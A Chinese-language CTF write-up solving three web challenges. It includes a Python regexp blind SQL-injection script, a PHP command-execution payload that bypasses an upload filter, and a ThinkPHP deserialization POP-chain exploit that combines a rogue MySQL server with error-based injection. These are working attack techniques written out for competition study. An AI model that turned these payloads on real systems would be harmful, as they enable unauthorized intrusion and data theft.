红名谷杯数据安全大赛Web题解

  1. 1. happysql
  2. 2. write_shell
  3. 3. easytp

happysql

考察: regexp盲注 + 无列名注入 + bypass information

网站只有基本的注册和登陆功能,因为没有什么回显所以没考虑二次注入. 注册处限制字符长度,所以优先考虑登陆位置

测得Login处SQL存在注入 , 先构造闭合

image-20210402202016733

然后构造sql语句, 过滤了好多,但是regexp未过滤. 使用regexp进行盲注

题解过程和脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
# c7ad3476-57a4-4806-a228-552896110329
flag="flag{xxxx.xxxx.xxx.xxx."
chars="abcdefghijklmnopqrstuvwxyz0123456789_\{\}\-"
url="http://xxxxxxxxxxxxxxxxxxxxxx.cloudeci1.ichunqiu.com/"
# sql="select/**/`1`/**/from/**/(select/**/1,2/**/union/**/select/**/*/**/from(f1ag))a"
sql="select/**/group_concat(a)/**/from/**/(select/**/1/**/as/**/a/**/union/**/select/**/*/**/from/**/f1ag)a"
while True:
for i in chars:
data={
"username":f'a"||(({sql})regexp("{flag+i}"))||"1',
"password":"a"
}
answer1 = requests.post(url=url+"login.php",data=data)
# print(i, answer1.text)
if "home.php" in answer1.text:
flag = flag + i
print(flag)
break

'''
a"||((select/**/group_concat(table_name)from(mysql.innodb_table_stats))regexp("f1ag"))||"1 => f1ag

flag{99137208.648d.4f70.8a7a.ff4458f0fbc4}
flag{99137208-648d-4f70-8a7a-ff4458f0fbc4}
where/**/database_name/**/regexp/**/database()
select/**/group_concat(table_name)from(mysql.innodb_table_stats)
database() => ctf // a"||(select(database())regexp("ctf"))||"1
reference :
https://xz.aliyun.com/t/8003
https://zhuanlan.zhihu.com/p/98206699
select `1` from (select 1,2,3,4 union select * from users)a; // ` 过滤
select/**/b/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/f1ag)a
'''

有点坑的是-被过滤了, 所以用.匹配- 一段一段注入

write_shell

考察: 文件上传 和 命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

payload:

1
2
<?=`ls%09/`?>  => !whatyouwantggggggg401.php
<?=`cat%09/!whatyouwantggggggg401*|base64`?> => PD9waHAgJGZsYWcgPSAnZmxhZ3s1NTNjYjg2ZS1jOTg2LTQ5MGQtYTcxNy1hYTQyMzJkOWZlY2V9 Jzs/Pg==

easytp

这题差点出 : (

考察 : Thinkphp POP链

题目只有一个路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
echo(unserialize(base64_decode(file_get_contents('php://input'))));
$test = file_get_contents('php://input');
$this->display();

}
public function test(){
echo(unserialize(base64_decode(file_get_contents('php://input'))));
}
}

index.php ,

image-20210402204241582

pop链是这个文章里面的: https://mp.weixin.qq.com/s/S3Un1EM-cftFXr8hxG4qfA , 可以直接用

这个链的利用思路:

  1. 读取任意文件
  2. 获得数据库账号密码后可进行注入攻击

任意文件读取:

用脚本伪造恶意的Mysql服务 https://github.com/Gifts/Rogue-MySql-Server , 使用方法参考上面的分析文章

根据这个点还能牵出来对Mysql攻击的一个面: https://blog.csdn.net/qq_41107295/article/details/100743094

读了很多配置文件, 但是都无数据库账号密码就很坑 : ( , 因为题目代码中并不涉及数据库操作.

/start.sh 可以读到下面的, 还以为数据库账号密码是root/root , 后来发现被误导了

image-20210402204350885

最后是猜出来的 : root/123456 : (

然后修改poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "mysql",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => "123456"
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.db where 1=extractvalue(0x0a,concat(0x0a,substr((select group_concat(f14g) from tp.f14g),20,30)))#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

mysql.db 是观察本地数据库找出来的一个表. 后面的就是正常注入了

数据库: mysql , tp , 表(tp): f14g , 列: fl4g

1
flag{e057edc7-d050-425f-bc66-5cd4dd13f447}

可惜最后时间不够了 : (